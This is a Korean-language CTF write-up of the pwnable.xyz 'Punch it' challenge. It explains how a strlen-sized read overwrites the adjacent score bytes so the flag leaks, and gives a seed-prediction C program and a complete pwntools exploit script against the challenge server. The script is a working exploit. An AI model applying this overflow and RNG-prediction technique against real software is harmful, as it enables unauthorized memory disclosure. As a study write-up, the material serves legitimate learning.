pwn/pwnable.xyz

pwnable.xyz / Punch it

lok2h4rd 2022. 5. 22. 21:36

mitigation

 

main

생성된 랜덤 값과 비교하는 게임이다

입력한 수가 더 클 경우 score가 1 증가한다

값이 같을 경우 저장 여부를 통해 이름을 변경할 수 있다

작을 경우 프로그램을 종료한다

 

값이 같을 경우 strlen을 통해 구한 이름 문자열 길이로 read하게 되는데 있때 score의 byte도 포함 될 수 있다

score를 0xff로 덮고 score 1 상승 시켜서 다음 byte에 값 넣는 방식으로 score에 있는 모든 바이트를 덮어 주면

score 뒤에 있는 flag문자열과 연결 되어 프로 그램이 종료되어 buf가 출력 될때 플래그도 딸려서 출력 된다

 

#include <stdio.h>
#include <stdlib.h>

int main(){
	srand(0xf4);
	for(int i = 0; i < 388; i++){

		printf("%x\n", rand());

	}
}

랜덤 값 

 

from pwn import * 
context.log_level = "debug"

def start_game():
    name = b"A" * 44
    p.recvuntil(b"[Y/n] : ")
    p.sendline(b"Y")
    p.recvuntil(b"Name: ")
    p.send(name)
    p.recvuntil(b"> ")
    p.sendline(b"2")

def play(data):
    p.recvuntil(b"pawa> ")
    p.sendline(str(data))

def ovr_name(name):
    p.recvuntil(b"Save? [N/y]")
    p.send(b"y")
    p.recvuntil(b"Name: ")
    p.send(name)

def byte_check(arr):
    if arr[0] == 0:
        return 1
    elif arr[0] == 1:
        return 2 
    num = 0
    for i in range(8):
        num += arr[i]

    if num == 16:
        return 0
    else:
        return 1

def generate_pay(arr):
    payload = b"A" * 0x2c
    num = 0
    for i in range(8):
        if arr[i] == 1:
            num += 1
            arr[i] = 2
        else:
            break

    payload += b"\xff" * num
    return payload


ran_arr = []
r = process("./randnum")

for i in range(388):
    ran_arr.append(int(r.recvline(), 16))
r.close()



check_arr = [0, 0, 0, 0, 0, 0, 0, 0]
i = 0

while True:
    i = 0
    p = remote("svc.pwnable.xyz", 30024)
    #p = process("./punch_it")
    start_game()
    play(ran_arr[0])
    line = p.recv(1)
    if b"d" not in line:
        p.close()
        continue
    else:
        payload = b"A" * 0x2c
        ovr_name(payload)
    
    while True:
        i += 1
        check = byte_check(check_arr)
        print("before act" + str(check_arr))
        
        if check == 1:
            print(f"{i} add score")
            play(-1)
            for j in range(8):
                if check_arr[j] == 0:
                    check_arr[j] = 1
                    break
                elif check_arr[j] == 2:
                    check_arr[j] = 0
        elif check == 2:
            print(f"{i} over write score to 0xff")
            pay = generate_pay(check_arr)
            play(ran_arr[i])
            ovr_name(pay)
        else:
            break
        print("after act" + str(check_arr))

    break
p.recvuntil(b"pawa> ")
p.sendline(b"abcd")

p.interactive()